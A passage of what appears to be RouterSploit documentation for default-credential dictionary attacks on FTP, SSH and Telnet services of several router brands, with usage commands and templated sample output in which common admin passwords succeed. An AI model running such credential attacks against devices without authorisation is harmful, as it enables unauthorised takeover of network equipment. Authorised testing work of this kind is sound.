[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Mikrotik Ssh Default Creds (`docs/modules/creds/routers/mikrotik/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Mikrotik Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/mikrotik/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/mikrotik/ssh_default_creds
rsf (Mikrotik Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Mikrotik Telnet Default Creds (`docs/modules/creds/routers/mikrotik/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Mikrotik Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/mikrotik/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/mikrotik/telnet_default_creds
rsf (Mikrotik Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Movistar Ftp Default Creds (`docs/modules/creds/routers/movistar/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Movistar Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/movistar/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/movistar/ftp_default_creds
rsf (Movistar Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Movistar Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Movistar Ssh Default Creds (`docs/modules/creds/routers/movistar/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Movistar Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/movistar/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/movistar/ssh_default_creds
rsf (Movistar Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Movistar Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Movistar Telnet Default Creds (`docs/modules/creds/routers/movistar/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Movistar Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/movistar/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/movistar/telnet_default_creds
rsf (Movistar Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Movistar Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Netcore Ftp Default Creds (`docs/modules/creds/routers/netcore/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netcore Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netcore/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netcore/ftp_default_creds
rsf (Netcore Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netcore Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Netcore Ssh Default Creds (`docs/modules/creds/routers/netcore/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netcore Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netcore/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netcore/ssh_default_creds
rsf (Netcore Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netcore Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Netcore Telnet Default Creds (`docs/modules/creds/routers/netcore/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netcore Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netcore/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netcore/telnet_default_creds
rsf (Netcore Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netcore Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Netgear Ftp Default Creds (`docs/modules/creds/routers/netgear/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netgear Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netgear/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netgear/ftp_default_creds
rsf (Netgear Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netgear Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Netgear Ssh Default Creds (`docs/modules/creds/routers/netgear/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netgear Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netgear/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netgear/ssh_default_creds
rsf (Netgear Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netgear Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Netgear Telnet Default Creds (`docs/modules/creds/routers/netgear/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netgear Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netgear/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netgear/telnet_default_creds
rsf (Netgear Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netgear Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Netsys Ftp Default Creds (`docs/modules/creds/routers/netsys/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netsys Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netsys/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netsys/ftp_default_creds
rsf (Netsys Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netsys Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Netsys Ssh Default Creds (`docs/modules/creds/routers/netsys/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netsys Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netsys/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netsys/ssh_default_creds
rsf (Netsys Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netsys Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Netsys Telnet Default Creds (`docs/modules/creds/routers/netsys/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Netsys Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/netsys/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/netsys/telnet_default_creds
rsf (Netsys Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netsys Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Pfsense Ftp Default Creds (`docs/modules/creds/routers/pfsense/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against PFSense Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/pfsense/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/pfsense/ftp_default_creds
rsf (PFSense Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (PFSense Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Pfsense Ssh Default Creds (`docs/modules/creds/routers/pfsense/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against PFSense Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/pfsense/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/pfsense/ssh_default_creds
rsf (PFSense Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (PFSense Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Pfsense Telnet Default Creds (`docs/modules/creds/routers/pfsense/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against PFSense Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/pfsense/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/pfsense/telnet_default_creds
rsf (PFSense Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (PFSense Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Technicolor Ftp Default Creds (`docs/modules/creds/routers/technicolor/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Technicolor Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/technicolor/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/technicolor/ftp_default_creds
rsf (Technicolor Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Technicolor Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Technicolor Ssh Default Creds (`docs/modules/creds/routers/technicolor/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Technicolor Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/technicolor/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/technicolor/ssh_default_creds
rsf (Technicolor Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Technicolor Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Technicolor Telnet Default Creds (`docs/modules/creds/routers/technicolor/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Technicolor Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/technicolor/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/technicolor/telnet_default_creds
rsf (Technicolor Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Technicolor Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Thomson Ftp Default Creds (`docs/modules/creds/routers/thomson/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Thomson Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/thomson/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/thomson/ftp_default_creds
rsf (Thomson Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Thomson Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Thomson Ssh Default Creds (`docs/modules/creds/routers/thomson/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Thomson Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/thomson/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/thomson/ssh_default_creds
rsf (Thomson Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Thomson Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Thomson Telnet Default Creds (`docs/modules/creds/routers/thomson/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Thomson Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/thomson/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/thomson/telnet_default_creds
rsf (Thomson Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Thomson Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Tplink Ftp Default Creds (`docs/modules/creds/routers/tplink/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against TP-Link Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/tplink/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/tplink/ftp_default_creds
rsf (TP-Link Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (TP-Link Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Tplink Ssh Default Creds (`docs/modules/creds/routers/tplink/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against TP-Link Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/tplink/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/tplink/ssh_default_creds
rsf (TP-Link Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (TP-Link Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

